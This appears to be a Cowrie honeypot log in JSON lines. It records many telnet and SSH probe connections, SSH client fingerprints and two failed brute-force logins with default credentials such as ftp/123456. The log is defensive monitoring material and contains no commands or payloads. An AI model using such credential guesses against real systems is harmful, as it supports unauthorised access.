{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:20.503401Z","src_ip":"122.168.114.167","session":"e3b45b0bdff3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.69258737564087,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:21.047024Z","src_ip":"162.214.112.92","session":"447a578b6ce6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":43742,"dst_ip":"10.17.0.5","dst_port":23,"session":"fde4330f710f","protocol":"telnet","message":"New connection: 162.241.40.195:43742 (10.17.0.5:23) [session: fde4330f710f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:21.926083Z"}
{"eventid":"cowrie.session.closed","duration":30.985310554504395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:22.014094Z","src_ip":"135.148.33.217","session":"b536da0bf0e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.981550216674805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:22.142464Z","src_ip":"135.148.33.217","session":"f0c19ef89eb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.844727277755737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:22.215504Z","src_ip":"133.130.75.21","session":"d14fbc3a97ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":57220,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd48d5bb47e9","protocol":"telnet","message":"New connection: 162.214.112.92:57220 (10.17.0.5:23) [session: bd48d5bb47e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:22.691149Z"}
{"eventid":"cowrie.session.closed","duration":31.217896461486816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:22.722997Z","src_ip":"162.214.112.92","session":"f8b8ba5bf2f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":60872,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e7ca77077f2","protocol":"telnet","message":"New connection: 108.179.218.230:60872 (10.17.0.5:23) [session: 7e7ca77077f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:23.424852Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":34770,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0d614b1908b","protocol":"telnet","message":"New connection: 64.235.40.29:34770 (10.17.0.5:23) [session: d0d614b1908b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:24.191431Z"}
{"eventid":"cowrie.session.closed","duration":30.829764366149902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:26.040375Z","src_ip":"64.235.40.29","session":"2a90c0ae8919","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":58130,"dst_ip":"10.17.0.5","dst_port":23,"session":"521b38681c03","protocol":"telnet","message":"New connection: 162.214.112.92:58130 (10.17.0.5:23) [session: 521b38681c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:26.580573Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":34112,"dst_ip":"10.17.0.5","dst_port":23,"session":"a65b21b584b8","protocol":"telnet","message":"New connection: 108.179.218.230:34112 (10.17.0.5:23) [session: a65b21b584b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:26.628202Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":34116,"dst_ip":"10.17.0.5","dst_port":23,"session":"81bf037640bc","protocol":"telnet","message":"New connection: 108.179.218.230:34116 (10.17.0.5:23) [session: 81bf037640bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:26.632830Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":47496,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4607f9d7617","protocol":"telnet","message":"New connection: 162.241.40.195:47496 (10.17.0.5:23) [session: d4607f9d7617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:27.019701Z"}
{"eventid":"cowrie.session.closed","duration":31.23415994644165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:27.085633Z","src_ip":"162.241.40.195","session":"875192d9b881","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.711443662643433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:27.386928Z","src_ip":"108.179.218.230","session":"f3ce731acfa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":48566,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9ebb3183b3d","protocol":"telnet","message":"New connection: 216.22.21.200:48566 (10.17.0.5:23) [session: f9ebb3183b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:27.407978Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":47492,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ed6e02a1a92","protocol":"telnet","message":"New connection: 162.241.40.195:47492 (10.17.0.5:23) [session: 5ed6e02a1a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:27.997661Z"}
{"eventid":"cowrie.session.closed","duration":31.00018858909607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:28.168473Z","src_ip":"31.41.249.116","session":"652a6a846c63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.782814741134644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:28.477408Z","src_ip":"108.179.218.230","session":"780ee59a84b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97215723991394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:29.170228Z","src_ip":"216.22.21.200","session":"a043cef76be9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":38700,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddc76ae3e9b9","protocol":"telnet","message":"New connection: 40.84.199.249:38700 (10.17.0.5:23) [session: ddc76ae3e9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:29.176736Z"}
{"eventid":"cowrie.session.closed","duration":31.73487901687622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:29.984086Z","src_ip":"64.235.40.29","session":"fa5aa9dc61f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":55307,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c2f10d9a747","protocol":"telnet","message":"New connection: 133.130.75.21:55307 (10.17.0.5:23) [session: 7c2f10d9a747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:30.062324Z"}
{"eventid":"cowrie.session.closed","duration":30.192582368850708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:30.069692Z","src_ip":"31.41.249.116","session":"a340da92378c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":55381,"dst_ip":"10.17.0.5","dst_port":23,"session":"a06295b47909","protocol":"telnet","message":"New connection: 133.130.75.21:55381 (10.17.0.5:23) [session: a06295b47909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:30.553603Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":35882,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbe007038ec4","protocol":"telnet","message":"New connection: 108.179.218.230:35882 (10.17.0.5:23) [session: cbe007038ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:30.629496Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":55449,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a8138c69496","protocol":"telnet","message":"New connection: 133.130.75.21:55449 (10.17.0.5:23) [session: 9a8138c69496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:31.158086Z"}
{"eventid":"cowrie.session.closed","duration":31.321042776107788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:31.342534Z","src_ip":"135.148.33.217","session":"0acd2c1da2b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.341771125793457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:31.462560Z","src_ip":"108.179.218.230","session":"8d9d7e4c5f3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":36444,"dst_ip":"10.17.0.5","dst_port":23,"session":"5493d07cf1f1","protocol":"telnet","message":"New connection: 108.179.218.230:36444 (10.17.0.5:23) [session: 5493d07cf1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:31.958813Z"}
{"eventid":"cowrie.session.closed","duration":31.093318939208984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:31.985596Z","src_ip":"108.179.218.230","session":"5e1f4291c72f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.557448625564575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:32.101612Z","src_ip":"133.130.75.21","session":"36ba7cb4f3cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30909514427185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:32.369308Z","src_ip":"133.130.75.21","session":"b2f3576a66b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":51248,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8181e3a0d68","protocol":"telnet","message":"New connection: 162.241.40.195:51248 (10.17.0.5:23) [session: a8181e3a0d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:33.020493Z"}
{"eventid":"cowrie.session.closed","duration":30.848422288894653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:33.027365Z","src_ip":"40.84.199.249","session":"e26628bd8192","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.461733102798462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:33.340241Z","src_ip":"108.179.218.230","session":"a0894b245758","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":51084,"dst_ip":"10.17.0.5","dst_port":23,"session":"64f04adb71d4","protocol":"telnet","message":"New connection: 162.241.40.195:51084 (10.17.0.5:23) [session: 64f04adb71d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:33.794476Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":55827,"dst_ip":"10.17.0.5","dst_port":23,"session":"51a672b2dbab","protocol":"telnet","message":"New connection: 133.130.75.21:55827 (10.17.0.5:23) [session: 51a672b2dbab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:34.024829Z"}
{"eventid":"cowrie.session.closed","duration":30.217657566070557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:34.089056Z","src_ip":"64.235.40.29","session":"4cb51777e6c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":50174,"dst_ip":"10.17.0.5","dst_port":23,"session":"25aa747ddccc","protocol":"telnet","message":"New connection: 162.241.40.195:50174 (10.17.0.5:23) [session: 25aa747ddccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:34.309434Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":33984,"dst_ip":"10.17.0.5","dst_port":23,"session":"18241051c2cc","protocol":"telnet","message":"New connection: 108.179.218.230:33984 (10.17.0.5:23) [session: 18241051c2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:34.358289Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":59612,"dst_ip":"10.17.0.5","dst_port":23,"session":"54e0d0879dc9","protocol":"telnet","message":"New connection: 64.235.40.29:59612 (10.17.0.5:23) [session: 54e0d0879dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:34.844052Z"}
{"eventid":"cowrie.session.closed","duration":30.44916033744812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:35.054979Z","src_ip":"40.84.199.249","session":"8bf0d771d912","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":60472,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1506d7af976","protocol":"telnet","message":"New connection: 162.214.112.92:60472 (10.17.0.5:23) [session: c1506d7af976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:35.471508Z"}
{"eventid":"cowrie.session.closed","duration":32.646507263183594,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:35.919412Z","src_ip":"162.214.112.92","session":"512a9d4d7038","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.600976705551147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:36.282448Z","src_ip":"40.84.199.249","session":"86202752dd49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29504418373108,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:36.440412Z","src_ip":"40.84.199.249","session":"f6a4b8121528","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":60894,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8636b5bfd21","protocol":"telnet","message":"New connection: 162.214.112.92:60894 (10.17.0.5:23) [session: a8636b5bfd21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:36.577492Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":60684,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f58d90fa66e","protocol":"telnet","message":"New connection: 162.214.112.92:60684 (10.17.0.5:23) [session: 7f58d90fa66e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:36.604438Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":53588,"dst_ip":"10.17.0.5","dst_port":23,"session":"d323781fc66c","protocol":"telnet","message":"New connection: 162.241.40.195:53588 (10.17.0.5:23) [session: d323781fc66c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:36.820364Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":53592,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4afb960438d","protocol":"telnet","message":"New connection: 162.241.40.195:53592 (10.17.0.5:23) [session: e4afb960438d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:36.843702Z"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:37.168009Z","src_ip":"122.168.114.167","session":"e3b45b0bdff3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.152307271957397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:37.462103Z","src_ip":"162.241.40.195","session":"72ead69eb17d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":53632,"dst_ip":"10.17.0.5","dst_port":23,"session":"99e4ac8172b3","protocol":"telnet","message":"New connection: 162.241.40.195:53632 (10.17.0.5:23) [session: 99e4ac8172b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:37.907261Z"}
{"eventid":"cowrie.session.closed","duration":30.794280767440796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:38.105820Z","src_ip":"31.41.249.116","session":"3360beeaf54e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":33018,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2addb42ebbc","protocol":"telnet","message":"New connection: 162.214.112.92:33018 (10.17.0.5:23) [session: d2addb42ebbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:38.488624Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":45624,"dst_ip":"10.17.0.5","dst_port":23,"session":"7969e69fe96c","protocol":"telnet","message":"New connection: 64.235.40.29:45624 (10.17.0.5:23) [session: 7969e69fe96c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:38.724529Z"}
{"eventid":"cowrie.session.closed","duration":31.64078140258789,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:38.911208Z","src_ip":"64.235.40.29","session":"3fc9f4c5bf5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":36190,"dst_ip":"10.17.0.5","dst_port":23,"session":"603fd0085360","protocol":"telnet","message":"New connection: 108.179.218.230:36190 (10.17.0.5:23) [session: 603fd0085360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:39.487443Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":40764,"dst_ip":"10.17.0.5","dst_port":22,"session":"465b1f8ac9e0","protocol":"ssh","message":"New connection: 186.80.18.158:40764 (10.17.0.5:22) [session: 465b1f8ac9e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:39.601119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:39.607146Z","src_ip":"186.80.18.158","session":"465b1f8ac9e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:39.682898Z","src_ip":"186.80.18.158","session":"465b1f8ac9e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"testing123","message":"login attempt [test2/testing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:39.977867Z","src_ip":"186.80.18.158","session":"465b1f8ac9e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":39990,"dst_ip":"10.17.0.5","dst_port":23,"session":"09002eec6783","protocol":"telnet","message":"New connection: 108.179.218.230:39990 (10.17.0.5:23) [session: 09002eec6783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:39.984992Z"}
{"eventid":"cowrie.session.closed","duration":31.171024799346924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:40.032453Z","src_ip":"162.241.40.195","session":"e2109badb929","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.872445583343506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:40.073510Z","src_ip":"40.84.199.249","session":"9b4707ddb72d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:41.069128Z","src_ip":"186.80.18.158","session":"465b1f8ac9e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.99059772491455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:42.177695Z","src_ip":"31.41.249.116","session":"f84611e8e7e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"25.5","message":"Connection lost after 25.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:42.266761Z","src_ip":"122.168.114.167","session":"e3b45b0bdff3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":56058,"dst_ip":"10.17.0.5","dst_port":23,"session":"1604805e7bca","protocol":"telnet","message":"New connection: 162.241.40.195:56058 (10.17.0.5:23) [session: 1604805e7bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:59:42.320817Z"}
